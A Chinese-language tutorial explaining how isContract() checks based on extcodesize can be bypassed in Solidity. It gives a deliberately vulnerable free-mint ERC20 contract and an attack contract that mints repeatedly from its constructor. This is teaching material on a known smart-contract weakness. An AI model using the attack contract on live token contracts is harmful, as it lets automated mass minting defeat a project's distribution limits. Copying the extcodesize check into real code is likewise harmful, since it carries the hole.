绕过智能合约检测
许多免费铸造的项目使用 isContract()
方法限制对外部账户(EOAs)的访问以及限制智能合约的交互。 此方法使用 extcodesize
来决定地址运行时 bytecode
长度。 如果大于零,则被视为智能合约;否则,它被视为EOA。
// Using extcodesize to check if an address is a contract
function checkContract(address account) public view returns (bool) {
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
然而,由于在智能合约创建期间,运行时bytecode
尚未存储在地址上,所以bytecode
的长度为零,所以存在潜在的漏洞。 如果我们将逻辑存放在构造器中,我们可以借此绕过isContract()
检查。
利用漏洞的示例
在下面的例子中,FreemintERC20
合同使用checkContract()
函数来防止智能合约执行它的mintTokens()
函数,以防止自动大量铸造。 每次调用mintTokens()
都会铸造100个通证。
// Using extcodesize to check if an address is a contract
contract FreemintERC20 is ERC20 {
constructor() ERC20("Token", "TKN") {}
function checkContract(address account) public view returns (bool) {
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
// mint function can only be called by non-contract addresses (vulnerable)
function mintTokens() public {
require(!checkContract(msg.sender), "Contracts are not allowed!");
_mint(msg.sender, 100);
}
}
我们创建一个智能合约用于攻击,并在构造器中多次调用mintTokens()
代码:
// Exploiting constructor characteristics for attacks
contract AttackContract {
bool public detectedAsContract;
address public targetContract;
// During contract creation, extcodesize is 0, thus bypassing isContract() checks.
constructor(address addr) {
targetContract = addr;
detectedAsContract = FreemintERC20(addr).checkContract(address(this));
for(uint i; i < 10; i++){
FreemintERC20(addr).mintTokens();
}
}
// After contract deployment, extcodesize > 0, isContract() will detect
function tryMint() external {
FreemintERC20(targetContract).mintTokens();
}
}